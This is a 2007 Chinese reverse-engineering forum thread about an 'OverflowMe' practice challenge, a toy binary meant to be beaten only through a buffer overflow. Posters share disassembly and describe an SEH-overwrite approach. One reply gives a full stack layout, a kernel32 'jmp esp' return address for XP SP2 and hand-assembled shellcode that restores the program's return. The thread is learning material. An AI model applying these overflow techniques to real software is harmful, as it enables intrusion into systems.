Backer
驱动牛犊
驱动牛犊
  • 注册日期2004-09-28
  • 最后登录2009-11-26
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望15点
  • 贡献值0点
  • 好评度15点
  • 原创分0分
  • 专家分0分
阅读:4482回复:18

嘻嘻,本版第一贴了,放个简单的OverflowMe出来练练手

楼主#
更多 发布于:2007-01-31 04:08
  程序显示“Succeed, you win!”算过去了。

只能利用溢出。

能不出错为佳。
附件名称/大小 下载次数 最后更新
OverflowMe.rar (20KB)  204 2007-01-31 04:08

最新喜欢:

silasonisilaso...
xikug
驱动小牛
驱动小牛
  • 注册日期2001-09-25
  • 最后登录2013-09-27
  • 粉丝1
  • 关注0
  • 积分1001分
  • 威望169点
  • 贡献值0点
  • 好评度168点
  • 原创分1分
  • 专家分0分
沙发#
发布于:2007-01-31 22:37
新版开张。。。处女顶。。。
有空学习学习这个OverflowMe
http://www.debugman.com
Sucsor
驱动牛犊
驱动牛犊
  • 注册日期2005-02-05
  • 最后登录2007-03-27
  • 粉丝0
  • 关注0
  • 积分253分
  • 威望26点
  • 贡献值0点
  • 好评度25点
  • 原创分2分
  • 专家分0分
板凳#
发布于:2007-02-02 12:18
顶一下.
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
地板#
发布于:2007-02-02 17:53
执行出错,看来随着新CPU都包括NX执行保护技术的流行,Overflow很快就要消失了......
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
qiweixue
驱动小牛
驱动小牛
  • 注册日期2004-07-21
  • 最后登录2011-12-19
  • 粉丝0
  • 关注0
  • 积分1006分
  • 威望274点
  • 贡献值0点
  • 好评度268点
  • 原创分1分
  • 专家分0分
地下室#
发布于:2007-02-03 13:53
0040101A  |.  50             |push    eax
0040101B  |.  68 50A04000   |push    0040A050                        ;  ASCII "%s"
00401020  |.  E8 C1010000   |call    004011E6 ---》_scanf函数,格式化输入成字符串方式
00401028  |.  8D4C24 04     |   lea     ecx, dword ptr [esp+4]----》“qiweixue”是我输入的八个字符
0040102C  |.  C64424 0B 00  |mov     byte ptr [esp+B], 0-----》B-4=7限定7个之后是:“qiweixu”
00401031  |.  51            |push    ecx                                 ; /Arg1
00401032  |.  E8 49000000   |call    00401080   ; \Overflow.00401080----》关键算法比较函数

00401037  |.  84C0          |test    al, al-----》BOOL al=TRUE就是成功.否则就失败
00401039  |.  75 28         |jnz     short 00401063


Overflow.00401080  算法call
{

00401080  /$  83EC 08       sub     esp, 8
00401083  |.  B0 74         mov     al, 74
00401085  |.  C64424 01 65  mov     byte ptr [esp+1], 65
0040108A  |.  884424 00     mov     byte ptr [esp], al-----》[esp]指向堆栈顶部,是作者构造“test”字符正确的密码的开始部分
0040108E  |.  884424 03     mov     byte ptr [esp+3], al
00401092  |.  8B4424 0C     mov     eax, dword ptr [esp+C]   -----》 我输入的的7个字符串“qiweixu”
00401096  |.  C64424 02 73  mov     byte ptr [esp+2], 73
0040109B  |.  85C0          test    eax, eax
0040109D  |.  C64424 04 00  mov     byte ptr [esp+4], 0
004010A2  |.  75 08         jnz     short 004010AC
004010A4  |.  32C0          xor     al, al
004010A6  |.  83C4 08       add     esp, 8
004010A9  |.  C2 0400       retn    4
004010AC  |>  53            push    ebx
004010AD  |.  56            push    esi
004010AE  |.  8D7424 08     lea     esi, dword ptr [esp+8]
004010B2  |>  8A10          /mov     dl, byte ptr [eax]---》我的字符串“qiweixe”
004010B4  |.  8A1E          |mov     bl, byte ptr [esi]---》和作者的字符串“test”相互比较.返回数值在al
004010B6  |.  8ACA          |mov     cl, dl                    //相等就返回true.提示成功
004010B8  |.  3AD3          |cmp     dl, bl
004010BA  |.  75 29         |jnz     short 004010E5
004010BC  |.  84C9          |test    cl, cl
004010BE  |.  74 16         |je      short 004010D6
004010C0  |.  8A50 01       |mov     dl, byte ptr [eax+1]
004010C3  |.  8A5E 01       |mov     bl, byte ptr [esi+1]
004010C6  |.  8ACA          |mov     cl, dl
004010C8  |.  3AD3          |cmp     dl, bl
004010CA  |.  75 19         |jnz     short 004010E5
004010CC  |.  83C0 02       |add     eax, 2
004010CF  |.  83C6 02       |add     esi, 2
004010D2  |.  84C9          |test    cl, cl
004010D4  |.^ 75 DC         \jnz     short 004010B2
004010D6  |>  33C0          xor     eax, eax
004010D8  |.  5E            pop     esi
004010D9  |.  85C0          test    eax, eax
004010DB  |.  0F94C0        sete    al
004010DE  |.  5B            pop     ebx
004010DF  |.  83C4 08       add     esp, 8
004010E2  |.  C2 0400       retn    4
004010E5  |>  1BC0          sbb     eax, eax
004010E7  |.  5E            pop     esi
004010E8  |.  83D8 FF       sbb     eax, -1
004010EB  |.  5B            pop     ebx
004010EC  |.  85C0          test    eax, eax
004010EE  |.  0F94C0        sete    al
004010F1  |.  83C4 08       add     esp, 8
004010F4  \.  C2 0400       retn    4
}


我只会输入test返回成功.
不会overflow的.到不到益出的输入代码地方.没有完过shellcode.
有点扫兴!
qiweixue
驱动小牛
驱动小牛
  • 注册日期2004-07-21
  • 最后登录2011-12-19
  • 粉丝0
  • 关注0
  • 积分1006分
  • 威望274点
  • 贡献值0点
  • 好评度268点
  • 原创分1分
  • 专家分0分
5楼#
发布于:2007-02-03 14:00
不好意思,接着来.原来输入的字符串不够多.这回有实验了一下有异常.
please input password:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

回头在分析分析异常点.
算算堆栈返回位置    
qiweixue
驱动小牛
驱动小牛
  • 注册日期2004-07-21
  • 最后登录2011-12-19
  • 粉丝0
  • 关注0
  • 积分1006分
  • 威望274点
  • 贡献值0点
  • 好评度268点
  • 原创分1分
  • 专家分0分
6楼#
发布于:2007-02-03 16:06
输入的过多的字符在堆栈中覆盖了最先过滤SEH链子定位到了,修改它的Handler入口到提示成功之处
00401063  |> \E8 98000000   call    00401100 //提示成功之处.

可是到了Dos 窗口输入字符的时候,不知道怎么转换成内存中的16进制地址,不能用Acsii表示出来,
难住了.
在看scanf方法格式输入的是%s.键盘输入行不通了.
Backer
驱动牛犊
驱动牛犊
  • 注册日期2004-09-28
  • 最后登录2009-11-26
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望15点
  • 贡献值0点
  • 好评度15点
  • 原创分0分
  • 专家分0分
7楼#
发布于:2007-02-03 19:24
嘿嘿,我昨天把这个OverflowMe完美搞定了,没有弹出错误提示。
缺点是解决方案不兼容。
qiweixue
驱动小牛
驱动小牛
  • 注册日期2004-07-21
  • 最后登录2011-12-19
  • 粉丝0
  • 关注0
  • 积分1006分
  • 威望274点
  • 贡献值0点
  • 好评度268点
  • 原创分1分
  • 专家分0分
8楼#
发布于:2007-02-03 22:55
引用第7楼Backer2007-02-03 19:24发表的“”:
嘿嘿,我昨天把这个OverflowMe完美搞定了,没有弹出错误提示。
缺点是解决方案不兼容。


我是覆盖SEH益出的...

构造特殊输入的字符很不雅观....

离完美还差些!
qiweixue
驱动小牛
驱动小牛
  • 注册日期2004-07-21
  • 最后登录2011-12-19
  • 粉丝0
  • 关注0
  • 积分1006分
  • 威望274点
  • 贡献值0点
  • 好评度268点
  • 原创分1分
  • 专家分0分
9楼#
发布于:2007-02-03 23:06
覆盖最近一个SEH句柄益出,其他方法应该还有...
acsii输入好难看.
没有shellcode修复...
进一步再学习之中..
Backer
驱动牛犊
驱动牛犊
  • 注册日期2004-09-28
  • 最后登录2009-11-26
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望15点
  • 贡献值0点
  • 好评度15点
  • 原创分0分
  • 专家分0分
10楼#
发布于:2007-02-04 05:08
几天前,虽然找到了溢出点,而且修改了返回地址,但是程序无法正常退出,导致我一直对这个问题耿耿于怀。
好在灵感终于来了,所以问题也随之搞定。且听我慢慢到来。

;以下是main函数
00401000   /$  83EC 08        sub esp,8
00401003   |.  56             push esi
00401004   |.  BE 02000000    mov esi,2
00401009   |>  68 54A04000    /push Overflow.0040A054          ;  ASCII "please input password:"
0040100E   |.  E8 EA010000    |call Overflow.004011FD          ;  call printf
00401013   |.  83C4 04        |add esp,4
00401016   |.  8D4424 04      |lea eax,dword ptr ss:[esp+4]
0040101A   |.  50             |push eax
0040101B   |.  68 50A04000    |push Overflow.0040A050          ;  ASCII "%s"
00401020   |.  E8 C1010000    |call Overflow.004011E6          ;  call scanf
00401025   |.  83C4 08        |add esp,8
00401028   |.  8D4C24 04      |lea ecx,dword ptr ss:[esp+4]
0040102C   |.  C64424 0B 00   |mov byte ptr ss:[esp+B],0
00401031   |.  51             |push ecx                        ; /Arg1
00401032   |.  E8 49000000    |call Overflow.00401080          ; \CheckPass
00401037   |.  84C0           |test al,al
00401039   |.  75 28          |jnz short Overflow.00401063     ;  if(al != 0) jmp
0040103B   |.  68 48A04000    |push Overflow.0040A048          ;  ASCII "error"
00401040   |.  E8 B8010000    |call Overflow.004011FD          ;  call printf
00401045   |.  83C4 04        |add esp,4
00401048   |.  8BD6           |mov edx,esi
0040104A   |.  4E             |dec esi                         ;  i--
0040104B   |.  85D2           |test edx,edx
0040104D   |.^ 75 BA          \jnz short Overflow.00401009     ;  if( i != 0 ) jmp
0040104F   |.  68 40A04000    push Overflow.0040A040           ;  ASCII "pause"
00401054   |.  E8 F7000000    call Overflow.00401150           ;  call system
00401059   |.  83C4 04        add esp,4
0040105C   |.  33C0           xor eax,eax
0040105E   |.  5E             pop esi
0040105F   |.  83C4 08        add esp,8
00401062   |.  C3             retn
00401063   |>  E8 98000000    call Overflow.00401100
00401068   |.  68 40A04000    push Overflow.0040A040           ;  ASCII "pause"
0040106D   |.  E8 DE000000    call Overflow.00401150           ;  call system
00401072   |.  83C4 04        add esp,4
00401075   |.  33C0           xor eax,eax
00401077   |.  5E             pop esi
00401078   |.  83C4 08        add esp,8
0040107B   \.  C3             retn

;这里是成功提示
004010FF       90             nop
00401100   /$  68 6CA04000    push Overflow.0040A06C           ;  ASCII "Succeed, you win!"
00401105   |.  E8 F3000000    call Overflow.004011FD           ;  printf
0040110A   |.  59             pop ecx
0040110B   \.  C3             retn

;---------------------------------------------------------------------------------------------------------


;在我们没有溢出之前,栈的情况是这个样子:

0012FF70        0040A050      ASCII "%s"
0012FF74        0012FF7C      这里是scanf的参数
0012FF78        FFFFFFFF
0012FF7C        00401590      返回到 Overflow.00401590 来自 Overflow.0040164F
0012FF80        0040A000      Overflow.0040A000
0012FF84        00401390      返回到 Overflow.<ModuleEntryPoint>+0B4 来自 Overflow.00401000
0012FF88        00000001
0012FF8C        00370F30
0012FF90        00370F78
0012FF94        7C910738      ntdll.7C910738
0012FF98        FFFFFFFF
0012FF9C        7FFDD000
0012FFA0        00000006
0012FFA4        F2AD7D04
0012FFA8        0012FF94
0012FFAC        80615CE3
0012FFB0        0012FFE0      指针到下一个 SEH 记录
0012FFB4        00403B44      SE 句柄

几天前,我的解决办法是输入字符溢出到0012FF84这个位置,将其修改为004010FF或者00401063。
这样,当main函数返回的时候将会去到成功提示,而成功提示函数执行完毕后又会返回,所以就造成了错误。
所以想修改一下溢出的方式,希望可以写个shellcode完成栈的修复工作。
这个方法确实是麻烦了一点,但是我实在没想到更好的解决方法了。

我们可以看到,从0012FF7C到0012FF83是我们可以控制的地方,一个有8个字节,本来在这里做修复返回地址的代码是刚刚好了,
但是在
0040102C   |.  C64424 0B 00   |mov byte ptr ss:[esp+B],0
这里把最后一个字节写了一个'\0',气死我了,就差一个字节。
所以只能想其他的办法,我也想过溢掉SEH地址,
但是很奇怪的是,SEH函数不能被指定在栈地址里,而且动态库里很多地方也不能指定,难道是MS的补丁?
倒是可以指定SEH到代码段里,但是这样就失去了意义,我还是不能修复程序的问题。

最后终于被我想到了一个办法,各位请看:
;---------------------------------------------------------------------------------------------------------


;
0012FF7C        CCCCCCCC
0012FF80        00CCCCCC
0012FF84        7C81518B      返回到 kernel32.7C81518B (jmp esp)
0012FF88        421E3558
0012FF8C        FF507CC1
0012FF90        33122454
0012FF94        10FFC3C0
0012FF98        FFFF0040

我输入了8个CC后,在其后输入了一个7C81518B,这个是在kernel32里的地址,其中的代码是jmp esp
接着我输入了以下代码:

0012FF88     58               pop eax
0012FF89     35 1E42C17C      xor eax,7CC1421E
0012FF8E     50               push eax                      ; 把返回地址修改为 00401393
0012FF8F     FF5424 12        call dword ptr ss:[esp+12]    ; Overflow.004010FF
0012FF93     33C0             xor eax,eax
0012FF95     C3               retn
0012FF96     FF10             call dword ptr ds:[eax]
0012FF98     40               inc eax
0012FF99     00FF             add bh,bh

这样就解决了main的返回问题,程序运行正常,最后没有错误发生,返回值为0。

这种解决方式遗憾的地方就是不能兼容,可能不同版本的系统中kernel库中7C81518B的内容不见得是jmp esp,我的系统是 xp sp2 英文版,大家的7C81518B地址内容可能和我不同,可以自己另外找一个,但是注意地址里不能有00。

而且很多指令的ASC码不能在控制台输入,要花不少时间测试出以上可以输入的指令,还请过路高手指点一二。
z.b.Azy
驱动牛犊
驱动牛犊
  • 注册日期2006-03-11
  • 最后登录2013-04-29
  • 粉丝0
  • 关注0
  • 积分263分
  • 威望95点
  • 贡献值0点
  • 好评度91点
  • 原创分2分
  • 专家分0分
11楼#
发布于:2007-02-04 13:19
不知道溢出将来还有没有前途啊???????
qiweixue
驱动小牛
驱动小牛
  • 注册日期2004-07-21
  • 最后登录2011-12-19
  • 粉丝0
  • 关注0
  • 积分1006分
  • 威望274点
  • 贡献值0点
  • 好评度268点
  • 原创分1分
  • 专家分0分
12楼#
发布于:2007-02-05 11:08
引用第10楼Backer2007-02-04 05:08发表的“”:
几天前,虽然找到了溢出点,而且修改了返回地址,但是程序无法正常退出,导致我一直对这个问题耿耿于怀。
好在灵感终于来了,所以问题也随之搞定。且听我慢慢到来。

;以下是main函数
00401000   /$  83EC 08        sub esp,8
.......


不错,比偶溢出SEH链要稳定的多...

对了我对acsii下的特殊输入也没有办法(查acsii码表),不过可以支持复制过去.
点击左窗口的关闭,找到标记,复制等命令,就可以.
ggamma
驱动小牛
驱动小牛
  • 注册日期2007-02-15
  • 最后登录2009-05-26
  • 粉丝0
  • 关注0
  • 积分11分
  • 威望180点
  • 贡献值0点
  • 好评度99点
  • 原创分0分
  • 专家分0分
13楼#
发布于:2007-02-20 12:39
引用第12楼qiweixue2007-02-05 11:08发表的“”:


不错,比偶溢出SEH链要稳定的多...

对了我对acsii下的特殊输入也没有办法(查acsii码表),不过可以支持复制过去.
.......

用Copy是不行的。
我教大家一下输入 一些Asc的方法。
<Ctrl>+字母键,能输入很多的。你做个程序就能知道对应关系了,
qiweixue
驱动小牛
驱动小牛
  • 注册日期2004-07-21
  • 最后登录2011-12-19
  • 粉丝0
  • 关注0
  • 积分1006分
  • 威望274点
  • 贡献值0点
  • 好评度268点
  • 原创分1分
  • 专家分0分
14楼#
发布于:2007-03-07 18:20
引用第13楼ggamma2007-02-20 12:39发表的“”:

用Copy是不行的。
我教大家一下输入 一些Asc的方法。
<Ctrl>+字母键,能输入很多的。你做个程序就能知道对应关系了,


<Ctrl>+字母键方法牢靠.可是好麻烦.
xj_yft
驱动牛犊
驱动牛犊
  • 注册日期2007-03-13
  • 最后登录2009-01-16
  • 粉丝0
  • 关注0
  • 积分80分
  • 威望9点
  • 贡献值0点
  • 好评度8点
  • 原创分0分
  • 专家分0分
15楼#
发布于:2007-03-16 19:13
汇编呀,不太懂.不过顶一下.
Backer
驱动牛犊
驱动牛犊
  • 注册日期2004-09-28
  • 最后登录2009-11-26
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望15点
  • 贡献值0点
  • 好评度15点
  • 原创分0分
  • 专家分0分
16楼#
发布于:2007-06-23 23:57
是啊,溢出问题迟早会解决的。
achillis
驱动牛犊
驱动牛犊
  • 注册日期2008-04-14
  • 最后登录2009-01-29
  • 粉丝0
  • 关注0
  • 积分2分
  • 威望17点
  • 贡献值0点
  • 好评度4点
  • 原创分0分
  • 专家分0分
17楼#
发布于:2008-07-18 13:40
输入的时候不好搞啊,有特殊字符
玄风残翼
驱动牛犊
驱动牛犊
  • 注册日期2005-10-10
  • 最后登录2015-04-07
  • 粉丝0
  • 关注0
  • 积分21分
  • 威望172点
  • 贡献值0点
  • 好评度24点
  • 原创分0分
  • 专家分0分
18楼#
发布于:2008-12-31 10:43
我是直接往栈里写了段代码进去,哈哈。
游客

返回顶部